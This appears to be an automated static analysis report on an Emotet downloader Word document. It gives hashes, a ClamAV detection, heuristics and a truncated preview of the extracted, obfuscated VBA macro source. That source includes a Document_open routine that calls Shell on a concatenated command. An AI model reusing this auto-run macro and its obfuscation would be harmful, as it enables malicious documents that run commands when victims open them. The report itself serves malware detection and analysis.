Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 6f8e87bcf7b47f91…

MALICIOUS

Office (OLE)

246.5 KB Created: 2018-07-18 13:38:00 Authoring application: Microsoft Office Word First seen: 2018-07-23
MD5: 154821ed1f96508186e8e017d103b3d3 SHA-1: 963123d0ab9d971d97020375f679debe1da0a287 SHA-256: 6f8e87bcf7b47f9176d33d485570336fbab97ff5ac8b3e37f18f068f8d15c6fd
182 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The file is identified as malicious by ClamAV with a signature indicating it is a downloader, specifically Emotet. Static analysis reveals the presence of VBA macros, including a Document_Open macro, and a critical finding of a Shell() call within the VBA code. This suggests the macro is designed to execute commands, likely to download and run a second-stage payload. The ClamAV detection name 'Doc.Downloader.Emotet-6958933-0' strongly points to the Emotet family.

Heuristics 5

  • ClamAV: Doc.Downloader.Emotet-6958933-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6958933-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 53974 bytes
SHA-256: 038e08279c4d900e04d0fcb7e64dca6ada0be02927d2aa6a7d4e6e62734eb4fd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "icEvSWJuoM"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function SRILMKiRCWPW()
On Error Resume Next
   tRurhQ = (61807 + JfwOoH + 66787 * wKvGL / LBfPQ + TRkiq * uRwdjO + bIOui) * zjXPh * iidGtM
   ITswG = (15828 + QdnjW + 20721 * NDwwK / KYjJhs + voGzM * XCkOrh + hPGjp) * RDjGB * kLBkk
   OuJcW = (76207 + wmwco + 14303 * oMuSD / XaKPi + sbOWS * fbSaX + jtVNiE) * Rurwz * RhOrn
   zqjHdF = (4501 + dpnFi + 63880 * NPnHY / kLQtnC + wCKqM * fNHJim + FnTYGb) * wpHbOf * NfTOq
   XRLUmn = (66929 + DQXXJb + 50691 * PkqnCu / SKmkn + rIDfNV * pwGDH + jLEGnn) * mjjUVj * EtJADv
   Nbfwsn = (2469 + FGIVo + 51044 * rsmLFU / vichi + iouoj * rMobO + vsjASs) * qQnbci * PDjwTK
End Function
Private Function IrvSXKMRLUd()
On Error Resume Next
   BsbQM = (465 + YwrXzo + 85351 * vHviww / BkECTi + IZXDkZ * oSPhY + jhWDu) * uzVnni * MrrMJ
   olHNpl = (38360 + WPKES + 83836 * JwBwo / hCiOr + zzsZRi * lqKzEp + OTWtw) * WHZjL * NZHjYw
   UGiqs = (41503 + FYwww + 18307 * ANfpSa / rXMNd + aiHmw * llIpj + azQjb) * PffZuD * fXsdiS
   jHwHzE = (32978 + wBDmL + 90554 * KFROO / TQTcKz + RLvDLw * VKlPMi + LqrfL) * wGGDO * pQqdf
   LiJNQ = (37067 + ZucQj + 81373 * sCQoFS / bGvaOf + onOav * jVmFk + abSKub) * RqmEAi * WjcNn
   foSzw = (7071 + XGpjw + 49935 * FTNAIf / unmjYT + NzFFA * avOWH + UWrfGr) * ZGXiM * BUlAj
   izkGz = (52986 + wvATB + 4296 * iHabww / pLFsos + iihGc * DOakr + wTBGn) * MmKIQ * ioUoo
End Function
Private Function FKJjbwKQKFqs()
On Error Resume Next
   kJXfZT = (18874 + HBjihQ + 28442 * sGHzfi / uDMasA + izZcF * wKQDnY + OqBZt) * KdEtAu * cdbMt
   UksAI = vcWOW - KopIf / kiYwWo / soNWh * (jizznI + jTiCJG - 92201 - lfuwiz - (98885 + fYOEjQ + hGpQqm * pCAoE))
   vSjJFK = whpEJ - OSDCm / JqiiGY / DNTiDJ * (iXvJr + iJNvO - 77311 - nnJZYa - (23209 + ANoak + HKdwl * oZrXuK))
   zcmQSh = QEuKdz - hKHjH / bwkzcs / OvmfO * (NIXaX + DcqGj - 77823 - zarhP - (20107 + UXArp + ZijUSO * UkEKjj))
   QDHfs = (39418 + GqTtEz + 90506 * uhGkHO / iwiuu + wSnUk * EhtAXC + zTpqWz) * bPXjH * zDVKB
End Function
Private Function OvKGOZkwKQfwZc()
On Error Resume Next
   wDVpil = (58181 + vRAiu + 79096 * BwYuiz / dNNsCw + TCzAJJ * VdAjA + mnGKj) * kiUrmn * WaHblj
   cPCikf = (48166 + TYLhkp + 80969 * CLWOv / KLNbnm + CPAVa * YEjwA + wBTbF) * hkBYZM * sdErR
   KOidMt = (64189 + ZaVrVp + 92292 * clKqM / zAjHS + jQMar * KTCXl + NcjnD) * dUUiVn * jlwOd
   XZfUw = (69667 + Impsz + 16844 * VfkfBl / BsODPO + KiUDTX * HkTfW + HQqSiU) * diFHpa * VjQQh
   bVBIO = (91132 + wfczFA + 80680 * kjLzmd / rCvYII + NEYZft * bYZHuf + sjPncG) * QCjKc * iwNqnr
End Function
Private Sub Document_open()
On Error Resume Next
   PcBELI = (61142 * wcfDY + (57973 * zfjsIr) / (49000 / GKSDVS))
   AAmHH = (98861 * vdvFvm + (69421 * hOZvEw) / (80801 / ilpwMn))
   bLrNI = (15647 * MGFLvn + (45881 * KbhUjj) / (73054 / iZXRU))
   nYIzV = (55231 * nNQEzV + (80689 * uTZKGT) / (93185 / qPibQn))
   RQuHV = (70864 * oVFUJ + (88631 * pvYOw) / (99726 / XTjqw))
Shell "" + sEpTlfnY + zbTmKEAp + CVar("c") + uczqzvttFJws + KToROAsTZh + rBLCowh + QfaZvpawN + JsYwTfiip + jNDlZSluq + Zjlvm + GukiNvKmw + QPQmt + PUOlcu + aRluG + NWOSw + dpWFrbmFOfL + GjCij + WXABjDw + intvVG + oXOtZwY + IYASESpmhC + mjRDZKLd + sEzGZ + jLCHIRPw + fkQVvjzw + pwcpwXKaBM + wosRT + PFzuHFwEZB + BWzmNmjbiQJO + AznhaamCCpbCu, 0
   RZSVB = iUWjc - Uqzol * hSkDO + JAwUKK + rmQQr * sjVSiQ * wTSME / pnNda
End Sub
Private Function RtQIWNzfTitIa()
On Error Resume Next
   CuDJK = tXwXp - KJdIRO * mAZto + EnjkGR + uOVflP * jprlMJ * aSVuz / MPJcAO
   DqvTA = TPREr - Rkzqq * NXCLF + LnErS + IOczjn * DXsjPB * ztRJcH / cTHLr
   SJmpF = hvnwXB - jwInjf * iVNqI + hiFsfW + UQfEvH * miiXX * DfSApT / uczwwj
   CaNAZD = SoCDPR - nIIwOz * XRsjPA + MjTjpH + zKIZm * bcFTzh * fWkMLa / fJVTJ
   PhbdI = Nqlcj - rImUW * wJIzwC + LaHFT + ujMlmV * zIndv * mFpTw / USOcz
   FEjWZ = Y
... (truncated)